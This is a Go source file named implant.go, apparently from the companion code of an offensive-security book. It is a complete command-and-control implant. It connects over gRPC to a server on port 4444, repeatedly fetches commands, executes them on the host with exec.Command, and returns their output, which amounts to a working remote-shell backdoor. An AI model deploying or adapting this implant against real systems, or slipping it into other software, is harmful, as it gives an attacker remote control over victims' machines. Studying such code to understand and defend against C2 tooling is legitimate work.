/
implant.go
57 lines (51 loc) · 1.01 KB
/
implant.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package main
import (
"context"
"fmt"
"log"
"os/exec"
"strings"
"time"
"github.com/blackhat-go/bhg/ch-14/grpcapi"
"google.golang.org/grpc"
)
func main() {
var (
opts []grpc.DialOption
conn *grpc.ClientConn
err error
client grpcapi.ImplantClient
)
opts = append(opts, grpc.WithInsecure())
if conn, err = grpc.Dial(fmt.Sprintf("localhost:%d", 4444), opts...); err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewImplantClient(conn)
ctx := context.Background()
for {
var req = new(grpcapi.Empty)
cmd, err := client.FetchCommand(ctx, req)
if err != nil {
log.Fatal(err)
}
if cmd.In == "" {
// No work
time.Sleep(3 * time.Second)
continue
}
tokens := strings.Split(cmd.In, " ")
var c *exec.Cmd
if len(tokens) == 1 {
c = exec.Command(tokens[0])
} else {
c = exec.Command(tokens[0], tokens[1:]...)
}
buf, err := c.CombinedOutput()
if err != nil {
cmd.Out = err.Error()
}
cmd.Out += string(buf)
client.SendOutput(ctx, cmd)
}
}